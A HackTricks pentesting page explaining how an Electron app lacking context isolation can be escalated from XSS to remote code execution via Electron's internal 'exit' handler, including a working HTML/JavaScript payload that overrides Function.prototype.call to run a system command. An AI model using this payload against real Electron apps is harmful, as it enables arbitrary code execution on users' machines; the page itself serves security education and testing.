hacktricks/network-services-pentesting/pentesting-web/xss-to-rce-electron-desktop-apps/electron-contextisolation-rce-via-electron-internal-code.md
carlospolop f0e09e3f54 social
2023-03-06 00:16:20 +01:00

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# Electron contextIsolation RCE via Electron internal code
<details>
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</details>
## Example 1
Example from [https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=41](https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=41)
"exit" event listener is always set by the internal code when de page loading is started. This event is emitted just before navigation:
```javascript
process.on('exit', function (){
for (let p in cachedArchives) {
if (!hasProp.call(cachedArchives, p)) continue
cachedArchives[p].destroy()
}
})
```
{% embed url="https://github.com/electron/electron/blob/664c184fcb98bb5b4b6b569553e7f7339d3ba4c5/lib/common/asar.js#L30-L36" %}
![](<../../../.gitbook/assets/image (664).png>)
https://github.com/nodejs/node/blob/8a44289089a08b7b19fa3c4651b5f1f5d1edd71b/bin/events.js#L156-L231 -- No longer exists
Then it goes here:
![](<../../../.gitbook/assets/image (647).png>)
Where "self" is Node's process object:
![](<../../../.gitbook/assets/image (652) (1).png>)
The process object has a references to "require" function:
```
process.mainModule.require
```
As the handler.call is going to receive the process object we can overwrite it to execute arbitrary code:
```html
<script>
Function.prototype.call = function(process){
process.mainModule.require('child_process').execSync('calc');
}
location.reload();//Trigger the "exit" event
</script>
```
## Example 2
Get **require object from prototype pollution**. From [https://www.youtube.com/watch?v=Tzo8ucHA5xw\&list=PLH15HpR5qRsVKcKwvIl-AzGfRqKyx--zq\&index=81](https://www.youtube.com/watch?v=Tzo8ucHA5xw\&list=PLH15HpR5qRsVKcKwvIl-AzGfRqKyx--zq\&index=81)
Leak:
<figure><img src="../../../.gitbook/assets/image (34).png" alt=""><figcaption></figcaption></figure>
Exploit:
<figure><img src="../../../.gitbook/assets/image (35).png" alt=""><figcaption></figcaption></figure>
<details>
<summary><strong>HackTricks in </strong><a href="https://twitter.com/carlospolopm"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch</strong></a> <strong>Wed - 18.30(UTC) 🎙️</strong> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
</details>